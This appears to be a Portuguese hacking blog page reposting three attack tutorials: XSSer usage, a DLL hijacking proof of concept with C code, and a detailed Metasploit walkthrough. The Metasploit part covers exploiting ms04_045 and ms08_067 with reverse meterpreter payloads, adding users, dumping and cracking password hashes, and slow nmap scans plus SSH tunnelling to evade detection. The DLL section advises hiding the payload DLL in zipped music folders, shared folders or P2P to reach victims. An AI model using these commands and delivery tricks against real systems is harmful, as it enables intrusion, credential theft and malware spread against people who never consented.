quinta-feira, 24 de janeiro de 2013

Detectando e exploitando injeções de XSS utilizando o XSSer Tool

O que é XSSer?

XSSer é um programa open-source que automatiza processos de detecção e "explotagem" de injeções XSS em diferentes aplicações.

Você pode testar o software na página vulnerável:

testasp.vulnweb.com/
Como utilizá-lo?

1. root@punter:/pentest/web# $ svn co https://xsser.svn.sourceforge.net/svnroot/xsser xsser

2. root@punter:/pentest/web# cd xsser 
3. root@punter:/pentest/web/xsser# python XSSer.py -u “http://testasp.vulnweb.com” -g “Search.asp?tfSearch=” –proxy “http://127.0.0.1:8118″ –referer “666.666.666.666″ –user-agent “correct audit” –Fuzz -s

4. below are the results








Fonte:
punter-infosec

Windows DLL Hijacking

 Introdução

Hi.
Venho-lhes trazer uma matéria que escrevi há quase um ano, logo quando saiu o bug de DLL Hijacking. Hoje em dia a falha é pouco comentada e os programadores já tomam mais cuidado com ela, mas deixarei a matéria aqui a nível de conhecimento.
Esta é a tal falada falha que afetou diversos aplicativos famosos, incluindo uma grande parte dos softwares do pacote Office e browsers como Opera e Firefox em 2010.

 Hack It!

A falha conhecida como DLL Hijacking existe graças à um mau funcionamento do Windows, e até que eu saiba, afeta todas as versões. Deve ser utilizada juntamente com SEing, pois precisamos saber qual o software que a possível vítima utiliza. Em breve, veremos o porque.

Ao explorar um aplicativo, como por exemplo, um player de música, conseguimos executar um código desejado apenas inserindo um arquivo .dll no mesmo diretório do arquivo *.mp3. Ou seja, se mandarmos uma pasta zipada com alguns arquivos de áudio e uma DLL "escondida" no meio, ao abrir qualquer arquivo de áudio, o player executará a DLL apenas por estar no mesmo diretório.

O nome da *.dll que deve ficar no mesmo diretório do arquivo a ser aberto varia de acordo com o software a ser explorado. Há algumas tools para explorar como o DLL Hijack Audit Kit do projeto Metasploit, o DLL Hijack Auditor do SecurityXploded ou uma ferramenta qualquer de debugging. Em breve, mostrarei o funcionamento de ambas as tools.

Agora, vou mostrar um exemplo do funcionamento da falha.
Ontem, fui brincar com o conhecido player Nullsoft "Winamp", na sua versão 5.5.8.2975.
O nome das DLLs que encontrei foram "rapi.dll" e "dwmapi.dll".

Agora, criarei um código simples para fazer o PoC:

/*
* Simple DLL Hijacking Exploit
* Tutorial por Júnior Moraes (fvox)
* www.forum-invaders.com.br
* Email: synyster@bsdmail.com
*/
#include <windows.h>
#include <stdio.h>
int fvox()
{
MessageBox(0, "u r owned", "DLL Hijacking", MB_OK);
FILE *fp;
fp = fopen("fvox.txt", "w");
fwrite("it works ;-)", 1, 12, fp);
fclose(fp);
exit(1);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
fvox();
return TRUE;
}
Ainda fazendo os testes no Winamp, vamos compilar a DLL e colocá-la no mesmo diretório de um arquivo *.mp3 com o nome de "dwmapi.dll".
Agora, vamos abrir o arquivo .mp3 com o Winamp. O que será que acontece?



Yeah! Apesar do arquivo *.mp3 ser realmente uma música normal, a DLL foi carregada. Como vocês puderam perceber, o MsgBox foi chamado e foi-se criado um arquivo de nome "fvox.txt" contento a frase "it works ;-)".

___________
. Ferramentas\_______________________________________


Como já disse anteriormente, é possível descobrir o nome da DLL a ser bugada via tools ou por um debugger.
O DLL Hijack Audit Kit executa um macro e abre diversos aplicativos de diversas extensões. Este macro age junto com um aplicativo externo (Process Monitor), que salva um logfile. Com este logfile, há um segundo script que verifica a falha em todos os aplicativos instalados no computador.

Já o DLL Hijack Auditor, verifica uma aplicação específica com base no diretório dela e nas extensões que a aplicação pode executar.

Mostrarei um exemplo utilizando a segunda tool.

Testarei no aplicativo Media Player Classic 1.3.1748.0, muito utilizado para ver filmes por possuir seu sistema de dual audio, etc.

No campo "Select Application", localizem o executável principal. No caso, localizei o arquivo mpc-hc.exe. No campo "Specify Extension", coloquem todas as extensões utilizadas pelo programa e cliquem em "Start Audit". Quando o programa parar de testar as extensões no programa, o botão "Exploit" vai estar liberado. =)
Como é apenas um exemplo, coloquei poucas extensões só para vocês terem uma noção.



Opa. Apareceu uma "dll" bugada chamada "vsfilter.lang". Mas a extensão não é uma DLL. Será que funciona?



É, dá para brincar! ;-)


_________
. Conclusão\_______________________________________


DLL Hijacking pode parecer uma falha boba, mas pode ser muito bem utilizada, tanto em rede quanto fora dela.
Na rede, vocês podem usar e abusar de pastas compartilhadas do Windows.
Na internet, vocês podem enviar arquivos zipados com a DLL bugada oculta, ou espalhar via p2p.

Basta utilizar sua imaginação e seu conhecido, e let's code! ;-)

Aqui vai uma lista de aplicativos que possuem a falha e suas respectivas DLLs bugadas:
http://www.exploit-db.com/dll-hijacking-vulnerable-applications/

Creditos:
fvox.

Tutorial detalhado do Metasploit - Indispensável



O Metasploit é um framework criado por H.D.Moore, que serve para elaboração e execução de um repositório de exploits.

Os meus maiores agradecimentos ao H.D. Moore e sua equipe por tornarem um sonho realidade

Agora que todos já sabem o que é o Metasploit, vamos aprender a trabalhar com ele. Lembrando que este tutorial só tem o objectivo de aprendizagem, cada um é responsável pelos seus actos.
De qualquer forma, e devido a certos requesitos dos testes de intrusão deverão usar sempre proxy a não ser que usem um Lab com VM´s






Uma das coisas que hoje já existe no metasploit é uma interface gráfica via browser que simplifica o processo, apesar de aconselhar a usarem o cliente tipo linha de comandos (msfcl)
A interface gráfica é o msfweb - Interface gráfica via browser

Vou usar o linux mas há também a versão para windows. Então levando em consideração que tenham instalado no vosso PC e está a funcionar, vamos dar uma vista sobre a utilização desta SUPER PODEROSA FERRAMENTA... um sonho tornado realidade... para mim que ainda me lembro quando para fazer isto era preciso dezenas de tools e procedimentos... agora tá tudo integrado numa plataforma/framework.
Vou também ter o cuidado de usar vulnerabilidades antigas e exploits ultrapassados para que não possa ser usado como guia total para um ataque, visto cobrir todo o percurso de exploitation. Mas basta seleccionar outros exploits para as novas coisinhas...

Vejam também a, digamos, o irmão web que é a excelente w3af "Web Application Attack and Audit Framework."
Apesar do metasploit também estar preparado para ataques web, mas eu especializei-me nos dois e é melhor trabalhar com as duas em conjunto.

O metasploit possui várias ferramentas dentre elas: (e muitas mais para vocês explorarem... explorem os payloads, os exploits e todos os outros utilitários. Podem fazer-lo lendo ou explorando nos ficheiros ou com comandos do tipo "show payloads" ou "show exploits", entre outros.)

msfconsole - metasploit em modo console
msfcli - interface de automatização de penetração e exploração
msflogdump - exibe sessões de arquivos de log
msfplayload - usado para gerar payloads customizados
msfpescan - utilizado para analisar e descompilar executáveis e DLLs
msfencode - um codificador interactivo de payload encoder
msfupdate - utilizado para verificar e fazer download de actualização do framework
msfweb - Interface gráfica via browser

Hoje devido ao facto do metasploit estar na Rapid7 podem usar uma versão gratuita do detector de vulnerabilidades automático, o NeXpose Community Edition... ele detecta as vulnerabilidades e integra-se com o metasploit.





Nexpose (Detector de vulnerabilidades)
http://www.rapid7.com/vulnerability-scanner.jsp

Podem, como eu, usar o Nessus para isso ou outras ferramentas... hoje até o nmap têm scripts para detectar vulnerabilidades, que são a principal questão no exploitation... é a partir de uma vulnerabilidade que tudo acontece e precisam saber a versão exacta do software alvo e do SO... em alguns casos no windows até a língua em que o windows esta.
Algo essencial para se escolher o exploit certo é saber o serviço e a versão exacta do mesmo, pois os exploits são feitos nessa base. Para tal e se soubermos já que há uma vulnerabilidade para um apache 2 versão anterior à 2.15, podemos fazer um scan especifico com o Nmap a essa porta (80) para não dar nas vistas. É como se alguem tivesse a aceder ao site, pois apenas são enviados pacotes para a porta 80. Se fizerem um scan a todas as portas e houver algum equipamento de jeito no caminho vai detectar que é um scan e corta. Saibam o que procurar e não façam scans a todas as portas, a não ser que não haja qualquer equipamento especial, como acontece na maioria dos datacenters para as contas mais baixas. As mais usadas
.
Código :
Nmap –sT –P0 –A –version-all –T0 –p 80 ipalvo (o –T0 é para que haja maior espaço de tempo entre o envio de pacotes, para dificultar a detecção. Mas não é uma técnica de evasão e pode ser dispensado. O Nmap têm diversas técnicas de evasão, como spoofing, etc... explorem a documentação)





Nessus (Detector de vulnerabilidades)
http://www.nessus.org/nessus/
O Nessus é um motor que interpreta scripts em NASL (ver artigo meu na 3ª Edição - Julho de 2006 que explica melhor esta linguagem) e envia-os contra um ou mais alvos, fazendo um relatório dos resultados. Estes scripts procurar milhares de vulnerabilidades, mas apensa as conhecidas. Podem desenvolver os vossos próprios scripts NASL para coisas novas.

Voltando ao Metasploit, eu vou ensinar aqui a utilizar somente três destas ferramentas(msfconsole, msfcli, msfweb), pois acredito que um verdadeiro :smoke: aprenderá sozinho o restante... como sempre dou a base para futuras explorações. Ajuda ao ensino e evita script kiddies

msfconsole:
Primeiramente digita-se na linha de comando :
Código :
[root]#./msfconsole
se for no windows só digite msfconsole sem ./, continuando deverá aparecer algo como: (neste caso já foi usado o comando “show exploits” para se ter uma lista dos exploits. O comando show serve para outras coisas como payloads e opções. Ver em detalhe)





Para quem dá o primeiro passo pode executar o comando “help” para ver os comandos de consola. Atenção que isto são apenas os comandos de consola e não todas as suas funcionalidades.

Como vimos na primeira imagem do mestasploit e a nivel formativo, pois no mundo a sério já saberão que exploit usar, será: show [opção] (a opção poderá ser uma das que vos aparecerão senão digitarem nenhuma, como podem ver no exemplo em seguida

desta forma:

Código :
msf > show
msfconsole: show: requires an option: 'exploits', 'payloads', 'encoders', or 'nops'
msf >
Viram que apareceram as opções deste comando. O mesmo acontece com outros comandos, pois podem ir assim explorando a framework.

Para saberem quais os exploits que existem nesta framework (desde a ultima actualização, devem ir actualizando o metasploit que está em constante evolução) basta digitar o comando:

Código :
msf >show exploits;

Para saber os payloads que existem neste framework basta digitar o comando: show payloads e assim por diante.

Então dentro do ambiente do metasploit escolhemos o exploit assim com o comando “use”:



Código :
msf > use wins_ms04_045
msf wins_ms04_045 >
viram que eu escolhi o wins_ms04_045 e o prompt mudou . Utilizando para isto o comando: use

continuando...

Digitamos o nosso velho amigo : show , novamente para verificar quais atributos ele aceita . Vejamos:

Código :
msf wins_ms04_045 > show
msfconsole: show: specify 'targets', 'payloads', 'options', or 'advanced'
msf wins_ms04_045 >
Vimos aqui que ele aceita targets, payloads, options ou advanced.

Vamos verificar quais opções que este exploit já seleccionado aceita:

Código :
msf wins_ms04_045 > show options

Exploit Options
===============

Exploit: Name Default Description
-------- ------ ------- ------------------
required RHOST The target address
required RPORT 42 The target port

Target: Target Not Specified

msf wins_ms04_045 >
Este exploit aceita somente duas opções : o ip alvo e a porta alvo. 

Agora deves estar a perguntar... como faço para utilizar isto. Simples, basta configurar o que o exploit aceita (há diferenças entre exploits e cada vez mais, pois mais complexidade e vectores são adicionados, diferenciando cada vez mais os exploits), lembrando que onde estiver escrito required, significa que estas opções tem que ser configuradas obrigatoriamente para o exploit funcionar. Continuando...

Façamos assim:

Código :
msf wins_ms04_045 > set RHOST 200.126.35.34
RHOST -> 200.126.35.34
msf wins_ms04_04>

msf wins_ms04_045 > set RPORT 42
RPORT -> 42
msf wins_ms04_045 >
Vejam que utilizei a mesma porta que o valor por default...
Agora teremos que seleccionar o payload para o nosso exploit. O payload nada mais é que um software acoplado ao exploit para fazer as mais variadas tarefas.
Digitamos então o comando para saber os payloads suportados pelo nosso exploit: show payloads

Código :
msf wins_ms04_045 > show payloads

Metasploit Framework Usable Payloads
====================================

win32_adduser Windows Execute net user /ADD
win32_bind Windows Bind Shell
win32_bind_dllinject Windows Bind DLL Inject
win32_bind_meterpreter Windows Bind Meterpreter DLL Inject
win32_bind_stg Windows Staged Bind Shell
win32_bind_stg_upexec Windows Staged Bind Upload/Execute
win32_bind_vncinject Windows Bind VNC Server DLL Inject
win32_exec Windows Execute Command
win32_passivex Windows PassiveX ActiveX Injection Payload
win32_passivex_meterpreter Windows PassiveX ActiveX Inject Meterpreter Payload
win32_passivex_stg Windows Staged PassiveX Shell
win32_passivex_vncinject Windows PassiveX ActiveX Inject VNC Server Payload
win32_reverse Windows Reverse Shell
win32_reverse_dllinject Windows Reverse DLL Inject
win32_reverse_meterpreter Windows Reverse Meterpreter DLL Inject
win32_reverse_ord Windows Staged Reverse Ordinal Shell
win32_reverse_ord_vncinject Windows Reverse Ordinal VNC Server Inject
win32_reverse_stg Windows Staged Reverse Shell
win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute
win32_reverse_vncinject Windows Reverse VNC Server Inject

msf wins_ms04_045 >
Eu vou escolher o primeiro payload, que faz com que seja adicionado remotamente um utilizador no sistema windows (como tenho dito tanto sobre os payloads, hoje já há payloads para tudo e todos os SO´s… até uma shell especial para cracking que é o meterpreter)

O meterpreter é um complexo payload que é uma espécia de shell especial para cracking, com funcionalidades especificas para isso. Algo que já falei bastante também.

Documento onde é detalhado técnicamente o meterpreter:
http://www.nologin.org/Downloads/Papers/meterpreter.pdf

Caso queiram usar o meterpreter, na selecção do payload, escolham um com meterpreter, como por exemplo win32_reverse_meterpreter... isto vai criar uma sessão no alvo, com o meterpreter e como é reverse passa pelas firewalls, pois estas pensam que como vem de dentro da rede é confiável.

Assim:
Código :
msf wins_ms04_045 > set PAYLOAD win32_adduser jolie
PAYLOAD win32_adduser -> jolie
msf wins_ms04_045>
Vamos agora listar os sistemas operativos que serão os alvos: Utilizando o velho comando : show, só que agora assim: show targets

Código :
msf wins_ms04_045 > show targets

Supported Exploit Targets
=========================

0 Windows 2000 English

msf wins_ms04_045 >

Só temos uma opcao aqui, somente o windows 2000 em ingles é vulneravel, mas tudo bem...

msf wins_ms04_045 > set TARGET 0
TARGET -> 0
msf wins_ms04_045 >
tamos mesmo, mesmo, mesmo a um tirinho de caçadeira... valeu a pena chegar aqui... pois agora apenas falta uma coisa para completar nossa tarefa... Executar o nosso exploit, que é mais um pacote exploit (conjunto de várias coisas que antigamente se faziam em separado e com muito trabalho) do que somente um exploit.

Digite somente: exploit (lindo não? Isto é “disparar” o exploit em direcção ao alvo. ATENÇÃO. Só usar alvos virutais ou máquinas voças

Código :
msf wins_ms04_045 > exploit
E pronto...Acabamos a nossa primeira etapa, agora vamos passar para o msfcli.

O msfcli é utilizado para poder fazer tudo de uma só vez. Nao precisando do passo a passo descrito acima. Se nós ja conhecemos o exploit isto agiliza
muito o nosso trabalho na linha de comando digitamos assim:

Código :
[root]#./msfcli wins_ms04_045 RHOST =200.156.23.25 RPORT=42 PAYLOAD=win32_adduser teste TARGET=0 E
e vejam que faz a mesma coisa que no modo console.
Caso o exploit se direcione a um serviço sem previlégios especiais pode-se usar um exploit local para escalar previlégios ou os seguintes comandos do meterpreter. Atenção que neste caso terão de estar a usar o meterpreter (para isso terão na altura de selecção do payload escolher um especial com o meterpreter, como por exemplo win32_reverse_meterpreter)
E na sessão do meterpreter usem os scripts já existentes para isso, como apresento em baixo.

Código :
meterpreter> use priv
meterpreter> getsystem
Mais coisas interessantes que se podem fazer com o meterpreter em conjunto com outras ferrametas geniáis, como o LophtCrack ou o Cain e Abel para crackar hashes de passwords.
Has passwords estão codificadas mas podem ser “sacadas” e posteriormente crackadas... garanto que conseguirão algumas que não sejam muito fortes, o que é muito normal.

Por exemplo. Como fazer o dump das hashes das passowrds com o meterpreter e fazer o download para depois as crackarem com algum dos programas anteriormente mencionados.

Código :
.MSFConsole
> use windows/smb/ms08_067_netapi
> set PAYLOAD windows/meterpreter/reverse_tcp
> set LHOST (meu Ip)
> set RHOST (Ip Remoto)
> exploit
> getuid
> hashdump
> use -f cmd -c
Para fazer downloads ou uploads dentro do meterpreter, entre o vosso PC e o alvo comprometido.

Código :
meterpreter> download arquivo1 arquivo2 pastaDestino
meterpreter> upload arquivo1 arquivo2 pastaDestino
Para crackar as hashes eu uso o LOphtCrack. É só guardar o resultado do "hashdump" num .txt (meuHash.txt) e usa-lo no LOphtCrack. Garanto que terão algumas passwords interessantes.

(investiguem também a familia Pwdump... muito interessante para certas situações.)



Quote
pwdump is the name of various Windows programs that output the LM and NTLM password hashes of local user accounts from the Security Account Manager (SAM). In order to work, it must be run under an Administrator account, or be able to access an Administrator account on the computer where the hashes are to be dumped; so Pwdump does not compromise security. Most of these programs are open-source.
http://en.wikipedia.org/wiki/Pwdump (aqui são explicadas as várias “cores” e “sabores” e seus links)

Vamos passar para uma forma ainda mais fácil. Garanto que o ppl mais windows vão adorar esta forma, que é um GUI (Grafical User Interface... mas no mundo dos exploits? Sim... vejam)

Trata-se da ferramenta msfweb que quando executado permite fazermos tudo por uma pagina web, todas as funcionalidades aplicaveis estão lá.
Para acederem ao GUI do metasploit façam:

Código :
[root]#./msfweb
+----=[ Metasploit Framework Web Interface (ip:55555)
Deixar correr... Abrir em seguida o browser e digitar o url: teu ip, localhost, 127.0.0.1... Mais a porta 55555

Seria assim: http://localhost:55555

E assim verão a magia desta ferramenta. Um rico GUI onde facilmente qualquer um pode configurar uma sessão completa, sem digitar comandos em consolas. Claro que no alvo vão (ou não) usar a consola, pois é mais...

Poderemos com isto fazer tudo graficamente sem digitar comandos etc etc, somente seleccionando.

Para complementar e devido a essas novas IPS e IDS que detectam padrões de tráfego e podem ser actualizadas com as assinaturas dos novos exploits, aqui fica um extra dedicado às novas appliances PANDA
Com um tunnel SSH o tráfego vai encriptado e não é possível identificar o mesmo, o que vai dentro dessa sessão.
É uma das mais usadas técnicas de evasão.

Criando uma sessão meterpreter persistente sobre um túnel SSH (integrando com o metasploit)

Creditos
teckV

http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/